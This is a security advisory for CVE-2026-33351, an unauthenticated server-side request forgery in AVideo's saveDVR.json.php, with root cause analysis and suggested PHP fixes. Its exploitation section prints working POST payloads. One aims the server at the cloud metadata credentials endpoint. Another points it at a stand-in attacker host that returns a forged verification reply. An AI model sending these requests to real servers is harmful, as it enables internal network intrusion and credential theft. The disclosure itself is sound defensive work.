GHSA-5F7V-4F6G-74RJ

Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-03-25 18:49
VLAI?
Summary
AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.

Affected Component

File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28

$streamerURL = ""; // change it to your streamer URL

$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
    include_once $configFile;
    $streamerURL = $global['webSiteRootURL'];
}

if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED
}

// ...

$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL);           // SSRF

Root Cause

  1. User-controlled URL base: When the configuration file does not exist (standalone deployment), $streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.
  2. No URL allowlisting or scheme restriction: The value is used as-is in a file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.
  3. Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.

Exploitation

Part 1: Basic SSRF (Internal Network Access)

POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything

The server fetches:

http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything

While the appended path may cause a 404 on the metadata service, the attacker can also use this for: - Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages. - Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall. - Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.

Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

  1. The attacker sets up a server at https://attacker.example.com/ with the path: /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php That returns: json {"error": false, "response": {"key": "attacker_controlled_value"}}

  2. The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php

webSiteRootURL=https://attacker.example.com/&saveDVR=anything ```

  1. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.

  2. The key value from the response flows into shell commands:

  3. Line 55: $DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)
  4. Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
    • Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}");
    • Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");
    • Line 167: exec("rm -R {$tmpDVRDir}");

The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However: - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain. - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex. - The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.

Impact

  • SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
  • Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
  • Potential Command Execution: While the regex on $key limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.
  • Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.

Suggested Fix

  1. Remove the user-controlled webSiteRootURL fallback entirely. Require $streamerURL to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:

```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // }

// If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ```

  1. If the parameter must remain for backward compatibility, validate it: php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } }

  2. Apply escapeshellarg() to all variables used in exec() calls, including $DVRFileTarget at lines 119, 157, and $tmpDVRDir at line 167.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:26Z",
    "nvd_published_at": "2026-03-23T14:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n    include_once $configFile;\n    $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n    $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];   // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL);           // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n   ```\n   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n   ```\n   That returns:\n   ```json\n   {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n   ```\n\n2. The attacker sends:\n   ```\n   POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n   webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n   ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n   - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n   - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n     - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n     - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n     - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n   The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n   - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n   - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n   - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n   ```php\n   // Remove this block:\n   // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n   //     $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n   // }\n\n   // If $streamerURL is still empty, abort:\n   if (empty($streamerURL)) {\n       error_log(\"saveDVR: streamerURL is not configured\");\n       die(\u0027saveDVR: Server not configured\u0027);\n   }\n   ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n   ```php\n   if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n       $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n       if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n           // Resolve hostname and block private/reserved IPs\n           $host = parse_url($url, PHP_URL_HOST);\n           $ip = gethostbyname($host);\n           if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n               die(\u0027saveDVR: Invalid URL\u0027);\n           }\n           $streamerURL = $url;\n       }\n   }\n   ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
  "id": "GHSA-5f7v-4f6g-74rj",
  "modified": "2026-03-25T18:49:00Z",
  "published": "2026-03-19T19:13:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…